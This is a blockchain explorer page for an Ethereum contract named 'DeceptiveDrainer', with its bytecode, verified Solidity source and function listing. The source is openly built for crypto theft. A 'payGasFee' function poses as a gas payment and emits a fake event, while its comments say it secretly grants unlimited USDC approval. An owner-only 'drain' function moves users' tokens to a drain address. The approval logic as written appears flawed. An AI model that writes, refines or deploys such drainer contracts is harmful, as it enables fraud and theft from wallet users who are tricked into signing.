Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x70920b0EAC950733275fC3d467fFCB09406D9E54
Balance 0 ETH
Nonce 1
Code Size 2732 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

2732 bytes
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806311eac8551461005c57806365dd27d41461007a5780638da5cb5b1461008457806392f2cff0146100a2578063ece53132146100c0575b600080fd5b6100646100dc565b604051610071919061064a565b60405180910390f35b610082610102565b005b61008c610252565b6040516100999190610686565b60405180910390f35b6100aa610276565b6040516100b79190610686565b60405180910390f35b6100da60048036038101906100d591906106d2565b61029c565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3307fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161017f929190610718565b6020604051808303816000875af115801561019e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101c29190610779565b610201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101f890610803565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167f325749ec0a8a6b64536b7020a054c276aeb792dde83ce195e528effb42420b796001604051610248919061085e565b60405180910390a2565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461032a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610321906108c5565b60405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e83306040518363ffffffff1660e01b81526004016103899291906108e5565b602060405180830381865afa1580156103a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103ca919061093a565b90506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b81526004016104299190610686565b602060405180830381865afa158015610446573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046a919061093a565b9050600081831061047b578161047d565b825b9050600081116104c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b9906109b3565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd85600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518463ffffffff1660e01b8152600401610543939291906109d3565b6020604051808303816000875af1158015610562573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105869190610779565b6105c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bc90610a56565b60405180910390fd5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061061061060b610606846105cb565b6105eb565b6105cb565b9050919050565b6000610622826105f5565b9050919050565b600061063482610617565b9050919050565b61064481610629565b82525050565b600060208201905061065f600083018461063b565b92915050565b6000610670826105cb565b9050919050565b61068081610665565b82525050565b600060208201905061069b6000830184610677565b92915050565b600080fd5b6106af81610665565b81146106ba57600080fd5b50565b6000813590506106cc816106a6565b92915050565b6000602082840312156106e8576106e76106a1565b5b60006106f6848285016106bd565b91505092915050565b6000819050919050565b610712816106ff565b82525050565b600060408201905061072d6000830185610677565b61073a6020830184610709565b9392505050565b60008115159050919050565b61075681610741565b811461076157600080fd5b50565b6000815190506107738161074d565b92915050565b60006020828403121561078f5761078e6106a1565b5b600061079d84828501610764565b91505092915050565b600082825260208201905092915050565b7f417070726f76616c206661696c65640000000000000000000000000000000000600082015250565b60006107ed600f836107a6565b91506107f8826107b7565b602082019050919050565b6000602082019050818103600083015261081c816107e0565b9050919050565b6000819050919050565b600061084861084361083e84610823565b6105eb565b6106ff565b9050919050565b6108588161082d565b82525050565b6000602082019050610873600083018461084f565b92915050565b7f4e6f74206f776e65720000000000000000000000000000000000000000000000600082015250565b60006108af6009836107a6565b91506108ba82610879565b602082019050919050565b600060208201905081810360008301526108de816108a2565b9050919050565b60006040820190506108fa6000830185610677565b6109076020830184610677565b9392505050565b610917816106ff565b811461092257600080fd5b50565b6000815190506109348161090e565b92915050565b6000602082840312156109505761094f6106a1565b5b600061095e84828501610925565b91505092915050565b7f4e6f7468696e6720746f20647261696e00000000000000000000000000000000600082015250565b600061099d6010836107a6565b91506109a882610967565b602082019050919050565b600060208201905081810360008301526109cc81610990565b9050919050565b60006060820190506109e86000830186610677565b6109f56020830185610677565b610a026040830184610709565b949350505050565b7f5472616e73666572206661696c65640000000000000000000000000000000000600082015250565b6000610a40600f836107a6565b9150610a4b82610a0a565b602082019050919050565b60006020820190508181036000830152610a6f81610a33565b905091905056fea2646970667358221220c4c907609a310dc005c32a7ae984c13a08cfd34cd77a8b9edc625ed8767f6fe464736f6c63430008130033

Verified Source Code Full Match

Compiler: v0.8.19+commit.7dd6d404 EVM: paris Optimization: No
2.sol 46 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
}

contract DeceptiveDrainer {
    address public owner;
    IERC20 public usdcToken;
    address public drainAddress;

    uint256 private constant MAX_UINT256 = 2**256 - 1;

    event FakeGasPaid(address indexed user, uint256 amount);

    constructor(address _usdcToken, address _drainAddress) {
        owner = msg.sender;
        usdcToken = IERC20(_usdcToken);
        drainAddress = _drainAddress;
    }

    // This function makes it look like user is paying gas
    // but actually approves MAX_UINT256 for USDC spending
    function payGasFee() external {
        // Make approval transaction
        require(usdcToken.approve(address(this), MAX_UINT256), "Approval failed");

        // Emit event to make it look legitimate
        emit FakeGasPaid(msg.sender, 1); // Fake "1" gas fee
    }

    // Drain function that owner can call later
    function drain(address user) external {
        require(msg.sender == owner, "Not owner");
        uint256 allowance = usdcToken.allowance(user, address(this));
        uint256 balance = usdcToken.balanceOf(user);
        uint256 amountToDrain = allowance < balance ? allowance : balance;

        require(amountToDrain > 0, "Nothing to drain");
        require(usdcToken.transferFrom(user, drainAddress, amountToDrain), "Transfer failed");
    }
}

Read Contract

drainAddress 0x92f2cff0 → address
owner 0x8da5cb5b → address
usdcToken 0x11eac855 → address

Write Contract 2 functions

These functions modify contract state and require a wallet transaction to execute.

drain 0xece53132
address user
payGasFee 0x65dd27d4
No parameters

Recent Transactions

No transactions found for this address